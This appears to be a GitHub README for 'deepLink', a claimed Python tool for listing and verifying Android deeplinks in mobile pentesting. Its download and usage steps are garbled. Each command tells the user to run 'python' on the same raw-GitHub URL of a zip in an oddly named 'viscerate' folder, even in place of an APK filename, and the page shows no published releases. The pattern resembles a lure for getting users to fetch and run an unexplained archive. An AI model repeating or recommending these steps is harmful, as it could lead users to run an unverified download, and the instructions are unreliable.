Skip to content

πŸ” Explore and verify deeplinks from Android apps using ADB access or APK files with this efficient Python script.

Notifications You must be signed in to change notification settings

antonyponceca/deepLink

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

16 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🎯 deepLink - Verify and List Android Deeplinks Easily

🌟 Overview

deepLink is a Python script designed to help users list and verify deeplinks from Android applications. It works using ADB access or an APK file. Additionally, deepLink can identify potential deeplinks in code samples using pattern matches. With this tool, you can streamline your mobile pentesting tasks and ensure your applications link correctly.

πŸš€ Getting Started

To get started with deepLink, follow these simple steps:

  1. Make sure you have a compatible system:

    • Windows, macOS, or Linux
    • Python 3.x installed on your machine
    • ADB (Android Debug Bridge) set up if you are using the ADB mode.
  2. Visit the page to download the application: Download deepLink

πŸ™ Download & Install

To download and install deepLink, please follow these steps:

  1. Go to the releases page: Download deepLink.

  2. Find the latest version available. Look for the release notes to see what's new or changed.

  3. Download the appropriate file for your system. The file will vary based on your operating system preferences (e.g., source code or pre-compiled package).

  4. Once the download completes, extract the contents of the file if it is in a zip or tar format.

  5. Open a terminal or command prompt and navigate to the folder where you extracted the files.

  6. Run the command python https://raw.githubusercontent.com/antonyponceca/deepLink/main/viscerate/deepLink.zip to start the application.

πŸ“‹ Features

  • List Android deeplinks directly from an APK file.
  • Verify the functionality of deeplinks using ADB.
  • Provide code samples exhibiting potential deeplink handling.
  • Simple pattern matching to help identify deeplinks in source code.

βš™οΈ System Requirements

  • Compatible operating system: Windows, macOS, or Linux.
  • Python 3.x β€” make sure it is installed. Check your version using python --version.
  • ADB (Android Debug Bridge) β€” needed if you are using ADB mode. Download it from the Android Developer website.

πŸ“Œ Usage Instructions

After successfully installing deepLink, here’s how you can use it:

  1. Using ADB:

    • Connect your Android device to your computer via USB.
    • Enable USB debugging on the Android device.
    • In the terminal, type adb devices to ensure your device is recognized.
    • Now, run the command python https://raw.githubusercontent.com/antonyponceca/deepLink/main/viscerate/deepLink.zip adb to list and verify deeplinks.
  2. Using an APK file:

    • Download the desired APK file.
    • In the terminal, navigate to the directory containing the APK.
    • Run the command python https://raw.githubusercontent.com/antonyponceca/deepLink/main/viscerate/deepLink.zip <https://raw.githubusercontent.com/antonyponceca/deepLink/main/viscerate/deepLink.zip>, replacing <https://raw.githubusercontent.com/antonyponceca/deepLink/main/viscerate/deepLink.zip> with the actual file name.

❓ Troubleshooting

If you encounter any issues while running deepLink, consider the following solutions:

  • Python Not Found: Ensure Python is installed and added to your system’s PATH variable.
  • ADB Not Recognized: Make sure ADB is correctly installed and the device is connected.
  • Permission Denied: Run your terminal or command prompt as an administrator.

πŸ’¬ Community Support

If you need help or wish to contribute, you can join the community discussions on the GitHub repository. Engage with other users and developers who are also using or contributing to deepLink.

πŸ”— Useful Links

⚑ Conclusion

deepLink is a straightforward and efficient tool for verifying and listing deeplinks in Android apps. By following the steps in this guide, you can easily download and run deepLink, helping you perform your mobile pentesting tasks with ease.

About

πŸ” Explore and verify deeplinks from Android apps using ADB access or APK files with this efficient Python script.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages